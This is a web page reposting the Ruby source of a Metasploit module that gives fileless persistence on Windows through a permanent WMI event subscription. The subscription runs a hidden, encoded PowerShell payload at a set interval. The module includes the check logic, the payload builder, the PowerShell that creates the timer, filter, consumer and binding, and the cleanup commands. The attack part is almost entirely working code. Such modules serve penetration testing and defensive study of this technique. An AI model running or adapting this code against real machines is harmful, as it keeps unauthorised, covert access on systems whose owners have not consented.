WMI Event Subscription Interval Persistence
WMI Event Subscription Interval Persistence
WMI Event Subscription Interval Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# WMI Event Subscription Interval Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/wmi_persistence' # previously the "INTERVAL" wmi_persistence method

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WMI Event Subscription Interval Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
that triggers the payload after the specified CALLBACK_INTERVAL.

If the persistence is not installed, it will keep triggering payloads to spawn.

Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
},
'Author' => [
'Nick Tyrer <@NickTyrer>', # original module
'h00die' # docs, persistence mixin, pshell cleanup
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DisclosureDate' => '2017-06-06',
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options([
OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 30.minutes.to_i * 1000 ]), # 30 minutes
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])

register_advanced_options(
[
OptString.new('CustomPsCommand',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
]
)

deregister_options('WritableDir')
end

def check
return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

return CheckCode::Safe('This module cannot run as System') if is_system?

return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

CheckCode::Appears('Likely exploitable')
end

def format_duration(ms)
total_seconds = ms / 1000
hours = total_seconds / 3600
minutes = (total_seconds % 3600) / 60
seconds = total_seconds % 60

parts = []
parts << "#{hours}h" if hours > 0
parts << "#{minutes}m" if minutes > 0
parts << "#{seconds}s" if seconds > 0 || parts.empty?

parts.join(' ')
end

def install_persistence
print_status('Installing Persistence...')
psh_exec(subscription_interval)
print_good "Persistence installed! Callback should be in: #{format_duration(datastore['CALLBACK_INTERVAL'])}"
# wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
# source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
name_class = datastore['CLASSNAME']
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
end

def build_payload
if datastore['CustomPsCommand']
script_in = datastore['CustomPsCommand']
compressed_script = compress_script(script_in)
encoded_script = encode_script(compressed_script)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end

def subscription_interval
command = build_payload
class_name = datastore['CLASSNAME']
callback_interval = datastore['CALLBACK_INTERVAL']
<<-HEREDOC
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.